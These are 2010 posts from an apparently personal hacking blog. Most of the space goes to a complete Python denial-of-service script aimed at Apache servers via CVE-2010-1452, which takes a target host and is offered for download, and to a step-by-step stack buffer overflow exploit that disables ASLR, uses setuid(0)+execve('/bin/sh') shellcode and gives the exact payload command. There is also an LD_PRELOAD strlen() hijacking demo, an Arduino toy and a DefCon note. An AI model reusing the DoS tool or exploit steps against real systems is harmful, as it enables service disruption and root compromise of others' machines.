Tuesday, August 24, 2010

DLL hijacking in linux

The last few days i been seeing lots and lots of buzz about DLL injection on windows, which is cool but i dont use windows so i decided to join the hype wagon and make a stink about it on linux :P "both have existed for a very very long time so i cant really understand all the hype all of a sudon" Anyway linux has stuff like DLL files but its called Shared Objects, so rather then Dynamic Linked Librarys ".dll" we use Shared Objects ".so".

Now i dont know about windows but in linux this is almost to easy. Almost all apps in linux one time or another call strlen() so all we have to do is hijack that function with our own shared object. Basiclly we are going to rewrite the strlen function and force apps to use our version. Lets look at our hijacking code:

hijack_strlen.c

#include < stdio.h >
#include < string.h >
size_t strlen(const char *str)
{
printf("\n\nWe have just hijacked strlen() xD\n\n");
return 5;
}


Now we just have to compile it as a shared object, we do that with these commands:


gcc -fPIC -c hijack_strlen.c -o hijack_strlen.o
gcc -shared -o hijack_strlen.so hijack_strlen.o


And now we are ready to start injecting our shared object to hijack strlen(). We will be using the LD_PRELOAD trick to do this. For our target app lets use nmap :D We just run this command:


LD_PRELOAD=/home/$user/hijack_strlen.so nmap


When you run the above we should see something like this:




We have just hijacked strlen() xD



We have just hijacked strlen() xD

Nmap 5.00 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
...


And there you have it! We just hijacked strlen in nmap!! We are 1337 :P

Now that you have your killer hijacker SO try these commands as well:


LD_PRELOAD=/home/$user/hijack_strlen.so ifconfig



LD_PRELOAD=/home/$user/hijack_strlen.so ssh



LD_PRELOAD=/home/$user/hijack_strlen.so scp


And yes there are tons more :D Ok thats all for now, laters.

Tuesday, August 17, 2010

Apache DoS tool (CVE-2010-1452)

I made a little python script to exploit the CVE-2010-1452 bug. So...here it is :)

DOWNLOAD: HERE

Source code:
apacheDoS-CVE20101452.py
import socket, getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "ht:")
except getopt.GetoptError, err:
print str(err)
exit()
def banner():
print "************************************************"
print "**|''''''''''''''''''''''''''''''''''''''''''|**"
print "**|Apache DoS tool |**"
print "**|By: Anarchy Angel |**"
print "**|Email: anarchy.ang31 [@] gmail |**"
print "**|http://hha.zapto.org |**"
print "**|- |**"
print "**|Usage: |**"
print "**| $ python apacheDoS-CVE20101452.py -h |**"
print "**| |**"
print "**|,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,|**"
print "************************************************"
print ""
for o, a in opts:
if o in ("-h", "--help"):
banner()
print "-h: This message."
print "-t : The target server you want to DoS"
print "i.e. user@user:~/$ python apacheDoS-CVE20101452.py -t www.target.com"
print "This script uses the CVE-2010-1452 bug to DoS apache servers."
print "More info: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1452"
exit()
elif o in ("-t", "--target"):
server = a
else:
assert False, "unhandled option"
try:
server
except NameError:
print "No mode set."
print "Try -h"
exit()
banner()
print "Starting DoS attack"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# - the normal http port
s.connect((server, 80))
s.send("GET http://"+server+" HTTP/1.0")
print "Packets sent\nChecking servers status....."
s.close()
f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
f.connect((server, 80))
print "Server not open to DoS :("
f.close()
except:
print "DoS done xD"

Monday, August 16, 2010

Toys for hackers

The other day i friend of mine introduced me to Arduino, and i been playing with it ever since xD There is something about coding hardware that is very gratifying. So anyway i got my first toy done and i thought i would share it with you. Heres my leet video of my creation in action:



Here is the source code for my little toy:


int sensorPin = 0;
int ledPin = 13;
int sensorValue = 0;
const int buttonPin = 2;
const int buttonPin2 = 1;
int buttonState = 0;
int buttonState2 = 0;

void setup() {
pinMode(buttonPin, INPUT);
pinMode(ledPin, OUTPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
if(buttonState2 == LOW)
{
digitalWrite(ledPin, HIGH);
return;
}
if(buttonState == LOW)
{
digitalWrite(ledPin, LOW);
}else{
digitalWrite(ledPin, HIGH);
sensorValue = analogRead(sensorPin);
delay(100);
digitalWrite(ledPin, LOW);
delay(sensorValue);
}
}


Isnt it sexy? :P I am looking forward to a long and loving relationship with this and you can expect more to come xD

Thursday, August 12, 2010

Buffer overflows on the easy.

So i started out on a little journey into buffer overflows on ubuntu and i thought i would take you with me :) First things first, we need to setup our environment and we start by opening a terminal and turning address space randomization off like so:

echo 0 > /proc/sys/kernel/randomize_va_space


Then we need to turn on core dumps:

ulimit -c unlimited


And now we are ready for our BOF app, here is the source we will be working with:

BOF.c
#include
#include

int main(int argc, char** argv)
{
char buffer[10];
strcpy(buffer, argv[1]);
printf("sent to buffer: %s \n", buffer);
return 0;
}


Compile it with this string:

gcc -z execstack -g -o BOF -fno-stack-protector -mpreferred-stack-boundary=2 BOF.c


So all our program does is take what ever char string we pass to it, put it in a buffer and echo it back. Let try it out:

./BOF AAAA


Cool huh? Lets try to pass 14 "A"s to it and see what happens:

./BOF `perl -e 'print "A" x 14'`


Run that and you should see something like this returned:

Segmentation fault (core dumped)


Ok so now we have a core dump we can work with. Lets load it up:

gdb -c core ./BOF


Once at a prompt type "i r" and hit enter and you should see something like this:

eax 0x0 0
ecx 0xbffff3dc -1073744932
edx 0x414140fd 1094795517
ebx 0x287ff4 2654196
esp 0xbffff40c 0xbffff40c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x171286 0x171286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


Ok so we see we filled ebp up with 41's which is A in hex but our goal is to take over the eip pointer, so lets exit gdb and put a few more As in there.

./BOF `perl -e 'print "A" x 15'`


Now when we open gdb and run "i r" we get this:

eax 0x0 0
ecx 0xbffff3cc -1073744948
edx 0x289340 2659136
ebx 0x287ff4 2654196
esp 0xbffff400 0xbffff400
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x150041 0x150041
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


There we see we got one A into eip. So now we know that 14 "A"s will fill the stack up to eip so in all our string will be 18 chars long, 14 to fill up the stack, and 4 to take over eip. Now we just need something to put there, and i have just the thing:

eggshell.c
#include //dont forget brackets again
#define NOP 0x90 /* nops , we want to land here */

char shellcode[] =
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80

"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80

/* This is not my shell code , I got it from milw0rm.com.
Its setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])
http://www.milw0rm.com/shellcode/1637
*/

int main(void)
{
char egg[512];
puts("loaded eggshell into env");
memset(egg,NOP,512);
memcpy(&egg[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", egg, 1);
putenv(egg);
system("/bin/bash");
return(0);
}



Now just compile that and run it to get it into memory. The main benefit with the method of pushing the shell code into a environment variable is that when dealing with small buffers we dont have to try to cram it all into it because its already in the memory at another location, more on that later. Now we need to make BOF seg fault again:

./BOF `perl -e 'print "A" x 18'`


Now open gdb so we can find out what address our egg shell was loaded to, we do that with this command:

x/s $esp


Now just hit enter until you see something like this:

0xbffff51c: "EGG=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\"


So now we have the address that our shell code was loaded to "0xbffff51c", all thats left is to chop off the leading 0x, reverse its order, and put it in hex formate giving us this "\x1c\xf5\xff\xbf", and push it into eip. So our BOF string will look like this:

./BOF `perl -e 'print "A" x 14'``printf "\x1c\xf5\xff\xbf"`


After running that you should be at a new shell xD There you have it, a BOF from start to finish.

Wednesday, August 4, 2010

DefCon18 is over.

Well i had a great time at DefCon18!! One of the more exciting things this year was badge unlocking which i totally fucked up :( i thought you needed a usb cable to crack the code but after closer inspection of the source i see that usb had nothing to do with it :( Note i didnt take the time really till after i got home to look at the source. Once i found out all the ninja badges were gone i kinda lost the urge to hack it. So anyway here is all the content of the DefCon18 CD. Oh yeah, and im back :)